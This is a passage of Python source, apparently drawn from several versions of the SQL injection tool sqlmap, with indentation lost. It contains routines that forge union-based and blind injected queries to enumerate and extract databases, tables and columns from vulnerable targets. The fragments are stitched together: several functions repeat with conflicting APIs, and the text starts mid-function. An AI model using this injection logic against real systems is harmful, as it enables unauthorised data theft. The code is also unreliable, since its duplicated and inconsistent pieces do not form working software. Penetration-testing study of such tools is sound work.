if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.blind.count2
else:
query = rootQuery.blind.count
query = query % (dbQuery + exclDbsQuery)
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
warnMsg = "no database"
if dbConsider == "1":
warnMsg += "s like"
warnMsg += " '%s' found" % unsafeSQLIdentificatorNaming(db)
logger.warn(warnMsg)
continue
indexRange = getLimitRange(count)
for index in indexRange:
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.blind.query2
else:
query = rootQuery.blind.query
query = query % (dbQuery + exclDbsQuery)
query = agent.limitQuery(index, query, dbCond)
value = unArrayizeValue(inject.getValue(query, union=False, error=False))
value = safeSQLIdentificatorNaming(value)
foundDbs.append(value)
conf.dumper.lister("found databases", foundDbs)
def searchTable(self):
rootQuery = queries[Backend.getIdentifiedDbms()].search_table
foundTbls = {}
tblList = conf.tbl.split(",")
tblCond = rootQuery.inband.condition
dbCond = rootQuery.inband.condition2
tblConsider, tblCondParam = self.likeOrExact("table")
if not len(kb.data.cachedDbs):
enumDbs = self.getDbs()
else:
enumDbs = kb.data.cachedDbs
for db in enumDbs:
if isinstance(db, list):
db = db[0]
db = safeSQLIdentificatorNaming(db)
foundTbls[db] = []
for tbl in tblList:
tbl = safeSQLIdentificatorNaming(tbl, True)
infoMsg = "searching table"
if tblConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)
logger.info(infoMsg)
tblQuery = "%s%s" % (tblCond, tblCondParam)
tblQuery = tblQuery % unsafeSQLIdentificatorNaming(tbl)
for db in foundTbls.keys():
db = safeSQLIdentificatorNaming(db)
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db
logger.info(infoMsg)
continue
if isTechniqueAvailable(
PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(
PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
query = rootQuery.inband.query % db
query += tblQuery
values = inject.getValue(query, blind=False)
if values:
if isinstance(values, basestring):
values = [values]
for foundTbl in values:
if foundTbl is None:
continue
foundTbls[db].append(foundTbl)
else:
infoMsg = "fetching number of table"
if tblConsider == "1":
infoMsg += "s like"
infoMsg += " '%s' in database '%s'" % (
unsafeSQLIdentificatorNaming(tbl),
unsafeSQLIdentificatorNaming(db))
logger.info(infoMsg)
query = rootQuery.blind.count2
query = query % db
query += " AND %s" % tblQuery
count = inject.getValue(query,
inband=False,
error=False,
expected=EXPECTED.INT,
charsetType=2)
if not isNumPosStrValue(count):
warnMsg = "no table"
if tblConsider == "1":
warnMsg += "s like"
warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(tbl)
warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
db)
logger.warn(warnMsg)
continue
indexRange = getRange(count)
for index in indexRange:
query = rootQuery.blind.query2
query = query % db
query += " AND %s" % tblQuery
query = agent.limitQuery(index, query, tblCond)
tbl = inject.getValue(query, inband=False, error=False)
kb.hintValue = tbl
foundTbls[db].append(tbl)
for db, tbls in foundTbls.items():
if len(tbls) == 0:
foundTbls.pop(db)
return foundTbls
def searchColumn(self):
rootQuery = queries[Backend.getIdentifiedDbms()].search_column
foundCols = {}
dbs = {}
whereTblsQuery = ""
infoMsgTbl = ""
infoMsgDb = ""
colList = conf.col.split(",")
origTbl = conf.tbl
origDb = conf.db
colCond = rootQuery.inband.condition
tblCond = rootQuery.inband.condition2
colConsider, colCondParam = self.likeOrExact("column")
if conf.db and conf.db != CURRENT_DB:
enumDbs = conf.db.split(",")
elif not len(kb.data.cachedDbs):
enumDbs = self.getDbs()
else:
enumDbs = kb.data.cachedDbs
for db in enumDbs:
db = safeSQLIdentificatorNaming(db)
dbs[db] = {}
for column in colList:
column = safeSQLIdentificatorNaming(column)
conf.db = origDb
conf.tbl = origTbl
infoMsg = "searching column"
if colConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column)
foundCols[column] = {}
if conf.tbl:
_ = conf.tbl.split(",")
whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in _) + ")"
infoMsgTbl = " for table%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(tbl for tbl in _))
if conf.db and conf.db != CURRENT_DB:
_ = conf.db.split(",")
infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(db for db in _))
elif conf.excludeSysDbs:
infoMsg2 = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList))
logger.info(infoMsg2)
else:
infoMsgDb = " across all databases"
logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb))
colQuery = "%s%s" % (colCond, colCondParam)
colQuery = colQuery % unsafeSQLIdentificatorNaming(column)
for db in dbs.keys():
db = safeSQLIdentificatorNaming(db)
if conf.excludeSysDbs and db in self.excludeDbsList:
continue
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
query = rootQuery.inband.query % (db, db, db, db, db, db)
query += " AND %s" % colQuery.replace("[DB]", db)
query += whereTblsQuery.replace("[DB]", db)
values = inject.getValue(query, blind=False, time=False)
if not isNoneValue(values):
if isinstance(values, basestring):
values = [values]
for foundTbl in values:
foundTbl = safeSQLIdentificatorNaming(foundTbl, True)
if foundTbl is None:
continue
if foundTbl not in dbs[db]:
dbs[db][foundTbl] = {}
if colConsider == "1":
conf.db = db
conf.tbl = foundTbl
conf.col = column
self.getColumns(onlyColNames=True, bruteForce=False)
if db in kb.data.cachedColumns and foundTbl in kb.data.cachedColumns[db]\
and not isNoneValue(kb.data.cachedColumns[db][foundTbl]):
dbs[db][foundTbl].update(kb.data.cachedColumns[db][foundTbl])
kb.data.cachedColumns = {}
else:
dbs[db][foundTbl][column] = None
if db in foundCols[column]:
foundCols[column][db].append(foundTbl)
else:
foundCols[column][db] = [foundTbl]
else:
foundCols[column][db] = []
infoMsg = "fetching number of tables containing column"
if colConsider == "1":
infoMsg += "s like"
infoMsg += " '%s' in database '%s'" % (column, db)
logger.info("%s%s" % (infoMsg, infoMsgTbl))
query = rootQuery.blind.count
query = query % (db, db, db, db, db, db)
query += " AND %s" % colQuery.replace("[DB]", db)
query += whereTblsQuery.replace("[DB]", db)
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
warnMsg = "no tables contain column"
if colConsider == "1":
warnMsg += "s like"
warnMsg += " '%s' " % column
warnMsg += "in database '%s'" % db
logger.warn(warnMsg)
continue
indexRange = getLimitRange(count)
for index in indexRange:
query = rootQuery.blind.query
query = query % (db, db, db, db, db, db)
query += " AND %s" % colQuery.replace("[DB]", db)
query += whereTblsQuery.replace("[DB]", db)
query = agent.limitQuery(index, query, colCond.replace("[DB]", db))
tbl = inject.getValue(query, union=False, error=False)
kb.hintValue = tbl
tbl = safeSQLIdentificatorNaming(tbl, True)
if tbl not in dbs[db]:
dbs[db][tbl] = {}
if colConsider == "1":
conf.db = db
conf.tbl = tbl
conf.col = column
self.getColumns(onlyColNames=True, bruteForce=False)
if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[db]:
dbs[db][tbl].update(kb.data.cachedColumns[db][tbl])
kb.data.cachedColumns = {}
else:
dbs[db][tbl][column] = None
foundCols[column][db].append(tbl)
conf.dumper.dbColumns(foundCols, colConsider, dbs)
self.dumpFoundColumn(dbs, foundCols, colConsider)
def unionUse(expression, direct=False, unescape=True, resetCounter=False):
"""
This function tests for an inband SQL injection on the target
url then call its subsidiary function to effectively perform an
inband SQL injection on the affected url
"""
count = None
origExpr = expression
start = time.time()
startLimit = 0
stopLimit = None
test = True
value = ""
global reqCount
if resetCounter == True:
reqCount = 0
if not kb.unionCount:
unionTest()
if not kb.unionCount:
return
# Prepare expression with delimiters
if unescape:
expression = agent.concatQuery(expression)
expression = unescaper.unescape(expression)
# Confirm the inband SQL injection and get the exact column
# position only once
if not isinstance(kb.unionPosition, int):
__unionPosition(expression)
# Assure that the above function found the exploitable full inband
# SQL injection position
if not isinstance(kb.unionPosition, int):
__unionPosition(expression, True)
# Assure that the above function found the exploitable partial
# inband SQL injection position
if not isinstance(kb.unionPosition, int):
return
else:
conf.paramNegative = True
if conf.paramNegative == True and direct == False:
_, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr)
if len(expressionFieldsList) > 1:
infoMsg = "the SQL query provided has more than a field. "
infoMsg += "sqlmap will now unpack it into distinct queries "
infoMsg += "to be able to retrieve the output even if we "
infoMsg += "are in front of a partial inband sql injection"
logger.info(infoMsg)
# We have to check if the SQL query might return multiple entries
# and in such case forge the SQL limiting the query output one
# entry per time
# NOTE: I assume that only queries that get data from a table can
# return multiple entries
if " FROM " in expression:
limitRegExp = re.search(queries[kb.dbms].limitregexp, expression, re.I)
if limitRegExp:
if kb.dbms in ( "MySQL", "PostgreSQL" ):
limitGroupStart = queries[kb.dbms].limitgroupstart
limitGroupStop = queries[kb.dbms].limitgroupstop
if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart)))
stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1
elif kb.dbms in ( "Oracle", "Microsoft SQL Server" ):
limitCond = False
else:
limitCond = True
# I assume that only queries NOT containing a "LIMIT #, 1"
# (or similar depending on the back-end DBMS) can return
# multiple entries
if limitCond:
if limitRegExp:
stopLimit = int(stopLimit)
# From now on we need only the expression until the " LIMIT "
# (or similar, depending on the back-end DBMS) word
if kb.dbms in ( "MySQL", "PostgreSQL" ):
stopLimit += startLimit
untilLimitChar = expression.index(queries[kb.dbms].limitstring)
expression = expression[:untilLimitChar]
if not stopLimit or stopLimit <= 1:
if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
test = False
else:
test = True
if test == True:
# Count the number of SQL query entries output
countFirstField = queries[kb.dbms].count % expressionFieldsList[0]
countedExpression = origExpr.replace(expressionFields, countFirstField, 1)
if re.search(" ORDER BY ", expression, re.I):
untilOrderChar = countedExpression.index(" ORDER BY ")
countedExpression = countedExpression[:untilOrderChar]
count = resume(countedExpression, None)
if not stopLimit:
if not count or not count.isdigit():
output = unionUse(countedExpression, direct=True)
if output:
count = parseUnionPage(output, countedExpression)
if count and count.isdigit() and int(count) > 0:
stopLimit = int(count)
infoMsg = "the SQL query provided returns "
infoMsg += "%d entries" % stopLimit
logger.info(infoMsg)
elif count and not count.isdigit():
warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the SQL query provided. "
warnMsg += "sqlmap will assume that it returns only "
warnMsg += "one entry"
logger.warn(warnMsg)
stopLimit = 1
elif ( not count or int(count) == 0 ):
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
return
elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
return
for num in xrange(startLimit, stopLimit):
limitedExpr = agent.limitQuery(num, expression, expressionFieldsList)
output = unionUse(limitedExpr, direct=True, unescape=False)
if output:
value += output
return value
value = unionUse(expression, direct=True, unescape=False)
else:
# Forge the inband SQL injection request
query = agent.forgeInbandQuery(expression)
payload = agent.payload(newValue=query)
infoMsg = "query: %s" % query
logger.info(infoMsg)
# Perform the request
resultPage = Request.queryPage(payload, content=True)
reqCount += 1
if temp.start not in resultPage or temp.stop not in resultPage:
return
# Parse the returned page to get the exact inband
# sql injection output
startPosition = resultPage.index(temp.start)
endPosition = resultPage.rindex(temp.stop) + len(temp.stop)
value = str(resultPage[startPosition:endPosition])
duration = int(time.time() - start)
infoMsg = "performed %d queries in %d seconds" % (reqCount, duration)
logger.info(infoMsg)
return value
def searchDb(self):
foundDbs = []
rootQuery = queries[Backend.getIdentifiedDbms()].search_db
dbList = conf.db.split(',')
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
dbCond = rootQuery.inband.condition2
else:
dbCond = rootQuery.inband.condition
dbConsider, dbCondParam = self.likeOrExact("database")
for db in dbList:
values = []
db = safeSQLIdentificatorNaming(db)
if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES:
db = db.upper()
infoMsg = "searching database"
if dbConsider == "1":
infoMsg += "s LIKE"
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(db)
logger.info(infoMsg)
if conf.excludeSysDbs:
exclDbsQuery = "".join(" AND '%s' != %s" % (unsafeSQLIdentificatorNaming(db), dbCond) for db in self.excludeDbsList)
infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList))
logger.info(infoMsg)
else:
exclDbsQuery = ""
dbQuery = "%s%s" % (dbCond, dbCondParam)
dbQuery = dbQuery % unsafeSQLIdentificatorNaming(db)
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.inband.query2
else:
query = rootQuery.inband.query
query = query % (dbQuery + exclDbsQuery)
values = inject.getValue(query, blind=False, time=False)
if not isNoneValue(values):
values = arrayizeValue(values)
for value in values:
value = safeSQLIdentificatorNaming(value)
foundDbs.append(value)
if not values and isInferenceAvailable() and not conf.direct:
infoMsg = "fetching number of database"
if dbConsider == "1":
infoMsg += "s LIKE"
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(db)
logger.info(infoMsg)
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.blind.count2
else:
query = rootQuery.blind.count
query = query % (dbQuery + exclDbsQuery)
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
warnMsg = "no database"
if dbConsider == "1":
warnMsg += "s LIKE"
warnMsg += " '%s' found" % unsafeSQLIdentificatorNaming(db)
logger.warn(warnMsg)
continue
indexRange = getLimitRange(count)
for index in indexRange:
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.blind.query2
else:
query = rootQuery.blind.query
query = query % (dbQuery + exclDbsQuery)
query = agent.limitQuery(index, query, dbCond)
value = unArrayizeValue(inject.getValue(query, union=False, error=False))
value = safeSQLIdentificatorNaming(value)
foundDbs.append(value)
conf.dumper.lister("found databases", foundDbs)
def unionThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
with kb.locks.limit:
try:
valueStart = time.time()
threadData.shared.counter += 1
num = threadData.shared.limits.next()
except StopIteration:
break
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
field = expressionFieldsList[0]
elif Backend.isDbms(DBMS.ORACLE):
field = expressionFieldsList
else:
field = None
limitedExpr = agent.limitQuery(num, expression, field)
output = _oneShotUnionUse(limitedExpr, unpack, True)
if not kb.threadContinue:
break
if output:
with kb.locks.value:
if all(_ in output for _ in (kb.chars.start, kb.chars.stop)):
items = parseUnionPage(output)
if threadData.shared.showEta:
threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter)
if isListLike(items):
# in case that we requested N columns and we get M!=N then we have to filter a bit
if len(items) > 1 and len(expressionFieldsList) > 1:
items = [item for item in items if isListLike(item) and len(item) == len(expressionFieldsList)]
items = [_ for _ in flattenValue(items)]
if len(items) > len(expressionFieldsList):
filtered = OrderedDict()
for item in items:
key = re.sub(r"[^A-Za-z0-9]", "", item).lower()
if key not in filtered or re.search(r"[^A-Za-z0-9]", item):
filtered[key] = item
items = filtered.values()
items = [items]
index = None
for index in xrange(1 + len(threadData.shared.buffered)):
if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num:
break
threadData.shared.buffered.insert(index or 0, (num, items))
else:
index = None
if threadData.shared.showEta:
threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter)
for index in xrange(1 + len(threadData.shared.buffered)):
if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num:
break
threadData.shared.buffered.insert(index or 0, (num, None))
items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter)
while threadData.shared.buffered and (threadData.shared.lastFlushed + 1 >= threadData.shared.buffered[0][0] or len(threadData.shared.buffered) > MAX_BUFFERED_PARTIAL_UNION_LENGTH):
threadData.shared.lastFlushed, _ = threadData.shared.buffered[0]
if not isNoneValue(_):
threadData.shared.value.extend(arrayizeValue(_))
del threadData.shared.buffered[0]
if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo) and not threadData.shared.showEta:
_ = ','.join("\"%s\"" % _ for _ in flattenValue(arrayizeValue(items))) if not isinstance(items, basestring) else items
status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", _ if kb.safeCharEncode else safecharencode(_))
if len(status) > width:
status = "%s..." % status[:width - 3]
dataToStdout("%s\n" % status)
def searchTable(self):
foundTbls = {}
tblList = conf.tbl.split(',')
rootQuery = queries[DBMS.MSSQL].search_table
tblCond = rootQuery.inband.condition
tblConsider, tblCondParam = self.likeOrExact("table")
if conf.db == CURRENT_DB:
conf.db = self.getCurrentDb()
if conf.db:
enumDbs = conf.db.split(',')
elif not len(kb.data.cachedDbs):
enumDbs = self.getDbs()
else:
enumDbs = kb.data.cachedDbs
for db in enumDbs:
db = safeSQLIdentificatorNaming(db)
foundTbls[db] = []
for tbl in tblList:
tbl = safeSQLIdentificatorNaming(tbl, True)
infoMsg = "searching table"
if tblConsider == "1":
infoMsg += "s LIKE"
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)
logger.info(infoMsg)
tblQuery = "%s%s" % (tblCond, tblCondParam)
tblQuery = tblQuery % unsafeSQLIdentificatorNaming(tbl)
for db in foundTbls.keys():
db = safeSQLIdentificatorNaming(db)
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db
singleTimeLogMessage(infoMsg)
continue
if conf.exclude and db in conf.exclude.split(','):
infoMsg = "skipping database '%s'" % db
singleTimeLogMessage(infoMsg)
continue
if any(
isTechniqueAvailable(_)
for _ in (PAYLOAD.TECHNIQUE.UNION,
PAYLOAD.TECHNIQUE.ERROR,
PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
query = rootQuery.inband.query.replace("%s", db)
query += tblQuery
values = inject.getValue(query, blind=False, time=False)
if not isNoneValue(values):
if isinstance(values, basestring):
values = [values]
for foundTbl in values:
if foundTbl is None:
continue
foundTbls[db].append(foundTbl)
else:
infoMsg = "fetching number of table"
if tblConsider == "1":
infoMsg += "s LIKE"
infoMsg += " '%s' in database '%s'" % (
unsafeSQLIdentificatorNaming(tbl),
unsafeSQLIdentificatorNaming(db))
logger.info(infoMsg)
query = rootQuery.blind.count
query = query.replace("%s", db)
query += " AND %s" % tblQuery
count = inject.getValue(query,
union=False,
error=False,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
warnMsg = "no table"
if tblConsider == "1":
warnMsg += "s LIKE"
warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(tbl)
warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
db)
logger.warn(warnMsg)
continue
indexRange = getLimitRange(count)
for index in indexRange:
query = rootQuery.blind.query
query = query.replace("%s", db)
query += " AND %s" % tblQuery
query = agent.limitQuery(index, query, tblCond)
tbl = inject.getValue(query, union=False, error=False)
kb.hintValue = tbl
foundTbls[db].append(tbl)
for db, tbls in foundTbls.items():
if len(tbls) == 0:
foundTbls.pop(db)
if not foundTbls:
warnMsg = "no databases contain any of the provided tables"
logger.warn(warnMsg)
return
conf.dumper.dbTables(foundTbls)
self.dumpFoundTables(foundTbls)
def __goInferenceProxy(expression, fromUser=False, expected=None):
"""
Retrieve the output of a SQL query characted by character taking
advantage of an blind SQL injection vulnerability on the affected
parameter through a bisection algorithm.
"""
query = agent.prefixQuery(" %s" % temp.inference)
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
count = None
startLimit = 0
stopLimit = None
outputs = []
test = None
untilLimitChar = None
untilOrderChar = None
output = resume(expression, payload)
if output and ( expected == None or ( expected == "int" and output.isdigit() ) ):
return output
if kb.dbmsDetected:
_, _, _, expressionFieldsList, expressionFields = agent.getFields(expression)
if len(expressionFieldsList) > 1:
infoMsg = "the SQL query provided has more than a field. "
infoMsg += "sqlmap will now unpack it into distinct queries "
infoMsg += "to be able to retrieve the output even if we "
infoMsg += "are going blind"
logger.info(infoMsg)
# If we have been here from SQL query/shell we have to check if
# the SQL query might return multiple entries and in such case
# forge the SQL limiting the query output one entry per time
# NOTE: I assume that only queries that get data from a table
# can return multiple entries
if fromUser and " FROM " in expression:
limitRegExp = re.search(queries[kb.dbms].limitregexp, expression, re.I)
if limitRegExp:
if kb.dbms in ( "MySQL", "PostgreSQL" ):
limitGroupStart = queries[kb.dbms].limitgroupstart
limitGroupStop = queries[kb.dbms].limitgroupstop
if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart)))
stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1
elif kb.dbms in ( "Oracle", "Microsoft SQL Server" ):
limitCond = False
else:
limitCond = True
# I assume that only queries NOT containing a "LIMIT #, 1"
# (or similar depending on the back-end DBMS) can return
# multiple entries
if limitCond:
if limitRegExp:
stopLimit = int(stopLimit)
# From now on we need only the expression until the " LIMIT "
# (or similar, depending on the back-end DBMS) word
if kb.dbms in ( "MySQL", "PostgreSQL" ):
stopLimit += startLimit
untilLimitChar = expression.index(queries[kb.dbms].limitstring)
expression = expression[:untilLimitChar]
if not stopLimit or stopLimit <= 1:
if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
test = "n"
else:
message = "can the SQL query provided return "
message += "multiple entries? [Y/n] "
test = readInput(message, default="Y")
if not test or test[0] in ("y", "Y"):
# Count the number of SQL query entries output
countFirstField = queries[kb.dbms].count % expressionFieldsList[0]
countedExpression = expression.replace(expressionFields, countFirstField, 1)
if re.search(" ORDER BY ", expression, re.I):
untilOrderChar = countedExpression.index(" ORDER BY ")
countedExpression = countedExpression[:untilOrderChar]
count = resume(countedExpression, payload)
if not stopLimit:
if not count or not count.isdigit():
count = __goInference(payload, countedExpression)
if count and count.isdigit() and int(count) > 0:
count = int(count)
message = "the SQL query provided can return "
message += "up to %d entries. How many " % count
message += "entries do you want to retrieve?\n"
message += "[a] All (default)\n[#] Specific number\n"
message += "[q] Quit\nChoice: "
test = readInput(message, default="a")
if not test or test[0] in ("a", "A"):
stopLimit = count
elif test[0] in ("q", "Q"):
return "Quit"
elif test.isdigit() and int(test) > 0 and int(test) <= count:
stopLimit = int(test)
infoMsg = "sqlmap is now going to retrieve the "
infoMsg += "first %d query output entries" % stopLimit
logger.info(infoMsg)
elif test[0] in ("#", "s", "S"):
message = "How many? "
stopLimit = readInput(message, default="10")
if not stopLimit.isdigit():
errMsg = "Invalid choice"
logger.error(errMsg)
return None
else:
stopLimit = int(stopLimit)
else:
errMsg = "Invalid choice"
logger.error(errMsg)
return None
elif count and not count.isdigit():
warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the SQL query provided. "
warnMsg += "sqlmap will assume that it returns only "
warnMsg += "one entry"
logger.warn(warnMsg)
stopLimit = 1
elif ( not count or int(count) == 0 ):
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
return None
elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
return None
for num in xrange(startLimit, stopLimit):
limitedExpr = agent.limitQuery(num, expression, expressionFieldsList)
output = __goInferenceFields(limitedExpr, expressionFields, expressionFieldsList, payload, expected)
outputs.append(output)
return outputs
elif kb.dbms == "Oracle" and expression.startswith("SELECT ") and " FROM " not in expression:
expression = "%s FROM DUAL" % expression
outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected)
returnValue = ", ".join([output for output in outputs])
else:
returnValue = __goInference(payload, expression)
return returnValue
def searchTable(self):
rootQuery = queries[kb.dbms].search_table
foundTbls = {}
tblList = conf.tbl.split(",")
tblCond = rootQuery.inband.condition
dbCond = rootQuery.inband.condition2
tblConsider, tblCondParam = self.likeOrExact("table")
if not len(kb.data.cachedDbs):
enumDbs = self.getDbs()
else:
enumDbs = kb.data.cachedDbs
for db in enumDbs:
foundTbls[db] = []
for tbl in tblList:
infoMsg = "searching table"
if tblConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % tbl
logger.info(infoMsg)
tblQuery = "%s%s" % (tblCond, tblCondParam)
tblQuery = tblQuery % tbl
for db in foundTbls.keys():
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db
logger.info(infoMsg)
continue
if kb.unionPosition is not None or conf.direct:
query = rootQuery.inband.query % db
query += tblQuery
values = inject.getValue(query, blind=False, error=False)
if values:
if isinstance(values, basestring):
values = [ values ]
for foundTbl in values:
foundTbls[db].append(foundTbl)
else:
infoMsg = "fetching number of table"
if tblConsider == "1":
infoMsg += "s like"
infoMsg += " '%s' in database '%s'" % (tbl, db)
logger.info(infoMsg)
query = rootQuery.blind.count2
query = query % db
query += " AND %s" % tblQuery
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
if not count.isdigit() or not len(count) or count == "0":
warnMsg = "no table"
if tblConsider == "1":
warnMsg += "s like"
warnMsg += " '%s' " % tbl
warnMsg += "in database '%s'" % db
logger.warn(warnMsg)
continue
indexRange = getRange(count)
for index in indexRange:
query = rootQuery.blind.query2
query = query % db
query += " AND %s" % tblQuery
query = agent.limitQuery(index, query, tblCond)
tbl = inject.getValue(query, inband=False)
kb.hintValue = tbl
foundTbls[db].append(tbl)
for db, tbls in foundTbls.items():
if len(tbls) == 0:
foundTbls.pop(db)
return foundTbls
def unionThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
with kb.locks.limit:
try:
valueStart = time.time()
threadData.shared.counter += 1
num = threadData.shared.limits.next()
except StopIteration:
break
if Backend.getIdentifiedDbms() in (DBMS.MSSQL,
DBMS.SYBASE):
field = expressionFieldsList[0]
elif Backend.isDbms(DBMS.ORACLE):
field = expressionFieldsList
else:
field = None
limitedExpr = agent.limitQuery(num, expression, field)
output = _oneShotUnionUse(limitedExpr, unpack, True)
if not kb.threadContinue:
break
if output:
if all(
map(lambda _: _ in output,
(kb.chars.start, kb.chars.stop))):
items = parseUnionPage(output)
with kb.locks.value:
if threadData.shared.showEta:
threadData.shared.progress.progress(
time.time() - valueStart,
threadData.shared.counter)
# in case that we requested N columns and we get M!=N then we have to filter a bit
if isListLike(
items) and len(items) > 1 and len(
expressionFieldsList) > 1:
items = [
item for item in items
if isListLike(item) and len(item)
== len(expressionFieldsList)
]
index = None
for index in xrange(
len(threadData.shared.buffered)):
if threadData.shared.buffered[index][
0] >= num:
break
threadData.shared.buffered.insert(
index or 0, (num, items))
while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[
0][0]:
threadData.shared.lastFlushed += 1
_ = threadData.shared.buffered[0][1]
if not isNoneValue(_):
threadData.shared.value.extend(
arrayizeValue(_))
del threadData.shared.buffered[0]
else:
with kb.locks.value:
index = None
if threadData.shared.showEta:
threadData.shared.progress.progress(
time.time() - valueStart,
threadData.shared.counter)
for index in xrange(
len(threadData.shared.buffered)):
if threadData.shared.buffered[index][
0] >= num:
break
threadData.shared.buffered.insert(
index or 0, (num, None))
items = output.replace(
kb.chars.start,
"").replace(kb.chars.stop,
"").split(kb.chars.delimiter)
if conf.verbose == 1 and not (
threadData.resumed
and kb.suppressResumeInfo
) and not threadData.shared.showEta:
status = "[%s] [INFO] %s: %s" % (
time.strftime("%X"), "resumed"
if threadData.resumed else "retrieved",
safecharencode(",".join(
"\"%s\"" % _ for _ in flattenValue(
arrayizeValue(items)))))
if len(status) > width:
status = "%s..." % status[:width - 3]
dataToStdout("%s\r\n" % status, True)
def unionUse(expression, direct=False, unescape=True, resetCounter=False):
"""
This function tests for an inband SQL injection on the target
url then call its subsidiary function to effectively perform an
inband SQL injection on the affected url
"""
count = None
origExpr = expression
start = time.time()
startLimit = 0
stopLimit = None
test = True
value = ""
global reqCount
if resetCounter == True:
reqCount = 0
if not kb.unionCount:
unionTest()
if not kb.unionCount:
return
# Prepare expression with delimiters
if unescape:
expression = agent.concatQuery(expression)
expression = unescaper.unescape(expression)
# Confirm the inband SQL injection and get the exact column
# position only once
if not isinstance(kb.unionPosition, int):
__unionPosition(expression)
# Assure that the above function found the exploitable full inband
# SQL injection position
if not isinstance(kb.unionPosition, int):
__unionPosition(expression, True)
# Assure that the above function found the exploitable partial
# inband SQL injection position
if not isinstance(kb.unionPosition, int):
return
else:
conf.paramNegative = True
if conf.paramNegative == True and direct == False:
_, _, _, expressionFieldsList, expressionFields = agent.getFields(
origExpr)
if len(expressionFieldsList) > 1:
infoMsg = "the SQL query provided has more than a field. "
infoMsg += "sqlmap will now unpack it into distinct queries "
infoMsg += "to be able to retrieve the output even if we "
infoMsg += "are in front of a partial inband sql injection"
logger.info(infoMsg)
# We have to check if the SQL query might return multiple entries
# and in such case forge the SQL limiting the query output one
# entry per time
# NOTE: I assume that only queries that get data from a table can
# return multiple entries
if " FROM " in expression:
